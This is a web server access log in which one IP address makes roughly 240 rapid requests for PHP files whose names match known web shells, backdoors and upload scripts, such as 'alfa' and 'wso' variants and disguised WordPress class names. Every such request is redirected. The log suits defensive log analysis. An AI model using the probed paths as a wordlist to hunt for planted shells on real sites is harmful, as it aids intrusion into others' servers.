196.251.80.56 - - [23/Sep/2025:13:34:53 -0400] "GET /sqlite_pagebreak_adapter.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:55 -0400] "GET /vjgtd8LW.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:57 -0400] "GET /prv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:58 -0400] "GET /Exception-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:03 -0400] "GET /old.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:16 -0400] "GET /submitwhitepaper.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:18 -0400] "GET /inbox.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:21 -0400] "GET /assetmanager.php HTTP/1.1" 301 795 "-" "-"
146.190.11.185 - - [23/Sep/2025:13:33:23 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:13:33:24 -0400] "GET /class-wp-customize-background-position-control-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:26 -0400] "GET /class-wp-widget-form-customize-control-stream.php HTTP/1.1" 301 795 "-" "-"
193.239.84.56 - - [23/Sep/2025:13:33:30 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:13:33:35 -0400] "GET /class-wp-http-curl-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:37 -0400] "GET /sdf-dffg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:41 -0400] "GET /class-wp-widget-calendar-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:43 -0400] "GET /admin-network-ru_RU.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:50 -0400] "GET /all.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:55 -0400] "GET /krop.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:56 -0400] "GET /phpmailer.lang-joomla.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:33:58 -0400] "GET /vp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:08 -0400] "GET /mc4wp-debug-log.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:26 -0400] "GET /Nglish.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:34 -0400] "GET /domat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:37 -0400] "GET /sagafif.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:47 -0400] "GET /embed-template-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:49 -0400] "GET /auto1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:34:52 -0400] "GET /class-wp-http-encoding-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:01 -0400] "GET /gzseek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:05 -0400] "GET /class-wp-simplepie-sanitize-kses-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:07 -0400] "GET /revision-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:09 -0400] "GET /wp-logs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:10 -0400] "GET /wpp-mails.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:13 -0400] "GET /adminedit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:14 -0400] "GET /class-wp-widget-side.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:20 -0400] "GET /safeparam-doctype.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:22 -0400] "GET /image_type_to_mime_type.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:30 -0400] "GET /cache-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:32 -0400] "GET /1260787_20061053.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:37 -0400] "GET /str_pad.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:47 -0400] "GET /includes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:51 -0400] "GET /Locator-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:10 -0400] "GET /ipc9z9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:13 -0400] "GET /a57bze8931.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:17 -0400] "GET /class-phpmailer-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:20 -0400] "GET /tablepress_controllers.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:22 -0400] "GET /articlesubmit.blade.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:23 -0400] "GET /iupload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:25 -0400] "GET /ban.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:26 -0400] "GET /random_bytes_cyclone.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:27 -0400] "GET /img911.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:34 -0400] "GET /add-actualites.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:43 -0400] "GET /nav-menu-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:35:56 -0400] "GET /wp-mdbdz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:02 -0400] "GET /programa_apoyo_editoriales.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:05 -0400] "GET /dialog.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:08 -0400] "GET /subirfoto.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:25 -0400] "GET /fud1.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:27 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:29 -0400] "GET /compiled.js.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:35 -0400] "GET /module.audio-video.riff-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:37 -0400] "GET /x3dleaf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:53 -0400] "GET /test_upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:56 -0400] "GET /Registry-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:13 -0400] "GET /class-wp-metadata-lazyloader-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:16 -0400] "GET /zi27xp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:20 -0400] "GET /formulier.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:29 -0400] "GET /ptm-import.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:32 -0400] "GET /ENKI.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:41 -0400] "GET /upload_submition.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:44 -0400] "GET /wp-log.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:57 -0400] "GET /reg_referencia.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:05 -0400] "GET /class-wp-customize-setting-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:09 -0400] "GET /ms_config.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:14 -0400] "GET /class-wp-oembed-controller-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:19 -0400] "GET /class-walker-category-dropdown-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:29 -0400] "GET /groupparent-cli.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:31 -0400] "GET /mediagallery.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:32 -0400] "GET /01%20copy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:34 -0400] "GET /sfm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:37 -0400] "GET /Registry-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:40 -0400] "GET /pluginfotos.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:43 -0400] "GET /cof.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:45 -0400] "GET /ET0O.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:49 -0400] "GET /UploadPic.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:52 -0400] "GET /css-blog.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:54 -0400] "GET /utchiha-EUO.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:55 -0400] "GET /json.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:31 -0400] "GET /sube_archivo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:39 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:41 -0400] "GET /css_.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:44 -0400] "GET /user-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:46 -0400] "GET /addProduct.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:49 -0400] "GET /index.blade.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:36:59 -0400] "GET /border.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:02 -0400] "GET /opt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:05 -0400] "GET /compat-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:07 -0400] "GET /random_cyclone_opgDPA.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:10 -0400] "GET /add_cart.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:24 -0400] "GET /contactus.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:38 -0400] "GET /class-wp-customize-control-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:47 -0400] "GET /wp-y4y54.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:49 -0400] "GET /phpimage.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:52 -0400] "GET /block-line.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:37:54 -0400] "GET /class-wp-customize-image-control-private.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:00 -0400] "GET /h%5b1%5d.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:03 -0400] "GET /Canonical.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:12 -0400] "GET /wp-vmmks.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:16 -0400] "GET /acces.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:21 -0400] "GET /RenameCode.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:24 -0400] "GET /feed-rss2-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:27 -0400] "GET /array_reduce.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:47 -0400] "GET /freshtools.net.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:38:58 -0400] "GET /index_upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:01 -0400] "GET /external_feed.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:04 -0400] "GET /RxR_iblkjmoy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:11 -0400] "GET /eee.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:16 -0400] "GET /addimage.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:20 -0400] "GET /productos_img_edit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:27 -0400] "GET /category-template-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:37 -0400] "GET /chris.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:54 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:56 -0400] "GET /convert-phpass.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:59 -0400] "GET /uploadzip.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:01 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:04 -0400] "GET /dbtoolkit_import.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:13 -0400] "GET /wp-eux6r.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:15 -0400] "GET /comment-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:17 -0400] "GET /Oilmoney.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:20 -0400] "GET /treame.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:29 -0400] "GET /class-wp-session-tokens-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:40 -0400] "GET /uu_file_upload.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:42 -0400] "GET /175113c.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:49 -0400] "GET /class-wp-widget-tags.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:51 -0400] "GET /mindex2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:54 -0400] "GET /schedule-symetrio.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:04 -0400] "GET /uplaod.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:07 -0400] "GET /vvvindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:15 -0400] "GET /galeria.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:25 -0400] "GET /yellow.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:28 -0400] "GET /flickr.class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:30 -0400] "GET /data-user.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:33 -0400] "GET /get_class_varus.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:35 -0400] "GET /jdtofrench.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:36 -0400] "GET /jquery.plugin.min.js HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:38 -0400] "GET /Hk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:44 -0400] "GET /class-wp-widget-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:46 -0400] "GET /bulk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:53 -0400] "GET /uploadTest.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:03 -0400] "GET /navbar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:17 -0400] "GET /autoptimize_679245d33d09298fa24bd13368b2e1f9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:21 -0400] "GET /inpf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:48 -0400] "GET /wp-readindex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:50 -0400] "GET /random_bytes_com_http.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:54 -0400] "GET /class-wp-comment-query-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:00 -0400] "GET /1668_a57bze8931.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:24 -0400] "GET /ms-add-pro-photo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:31 -0400] "GET /9227_a.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:34 -0400] "GET /class-wp-uploads.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:39 -0400] "GET /class-wp-metadata-lazyloader-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:42 -0400] "GET /str_replace.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:45 -0400] "GET /membernew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:49 -0400] "GET /___876876876____form.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:39:51 -0400] "GET /idpago.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:09 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:23 -0400] "GET /01589a.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:25 -0400] "GET /zlib.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:32 -0400] "GET /zup.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:34 -0400] "GET /mailerline.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:37 -0400] "GET /error-protection-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:45 -0400] "GET /unzipper.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:40:58 -0400] "GET /gaxa1.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:02 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:12 -0400] "GET /class-wp-customize-background-position-control-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:19 -0400] "GET /add_modal.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:22 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:40 -0400] "GET /editProject.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:49 -0400] "GET /class-wp-customize-background-image-control-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:55 -0400] "GET /class-wp-widget-area-customize-control-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:41:57 -0400] "GET /class-IXR-date-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:06 -0400] "GET /class-wp-customize-header-image-control-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:09 -0400] "GET /generated-classname-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:12 -0400] "GET /class-wp-query-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:14 -0400] "GET /class-wp-taxonomy-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:26 -0400] "GET /glyphicons-halflings-regular.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:29 -0400] "GET /content-post.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:33 -0400] "GET /two-buttons-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:40 -0400] "GET /BVeA9.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:44 -0400] "GET /class-snoopye_wso.php.bk HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:42:57 -0400] "GET /code-execution.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:04 -0400] "GET /blocks-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:12 -0400] "GET /log-mama.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:24 -0400] "GET /query-offset-posts-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:26 -0400] "GET /Exception-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:33 -0400] "GET /autoptimize_0b3c90d1d806aad6f91909e98e87cf13.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:06 -0400] "GET /module.audio.dts-ajax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:08 -0400] "GET /border-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:10 -0400] "GET /class-wp-widget-area-customize-control-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:14 -0400] "GET /pireg_last_error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:17 -0400] "GET /form_files.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:19 -0400] "GET /lang_import.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:28 -0400] "GET /class-wp-customize-filter-setting-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:31 -0400] "GET /class-wp-simplepie-sanitize-kses-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:41 -0400] "GET /perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:46 -0400] "GET /block-template-utils-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:48 -0400] "GET /class-wp-customize-header-image-setting-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:50 -0400] "GET /RxR_1610152828.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:54 -0400] "GET /x1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:43:59 -0400] "GET /66958303bd066980fcfdadf6becd02d2390fbc07.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:05 -0400] "GET /Hooks-stream.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:14 -0400] "GET /class-wp-customize-nav-menu-item-control-meta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:23 -0400] "GET /widgets-ajax-response.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:26 -0400] "GET /class-wp-ajax-response-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:29 -0400] "GET /generated-classname-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:45 -0400] "GET /alfa2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:54 -0400] "GET /ckihyskphi.php.suspected HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:44:59 -0400] "GET /cbcgooowwa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:34 -0400] "GET /nyntn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:37 -0400] "GET /add-membre.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:45:45 -0400] "GET /AuGQ8.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:11 -0400] "GET /scrollbarzip.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:14 -0400] "GET /autoptimize_5e6aecd9e0440b1bf8049e159616f11d.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:18 -0400] "GET /plugin_overview.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:28 -0400] "GET /getdir.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:31 -0400] "GET /Misc-wp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:38 -0400] "GET /class-wp-widget-tag-cloud-cron.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:41 -0400] "GET /embed-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:48 -0400] "GET /class-wp-http-encoding-core.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:46:53 -0400] "GET /class-wp-admin-error.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:47:05 -0400] "GET /getid3.lib-private.php HTTP/1.1" 301 795 "-" "-"
35.178.187.180 - - [23/Sep/2025:13:47:06 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
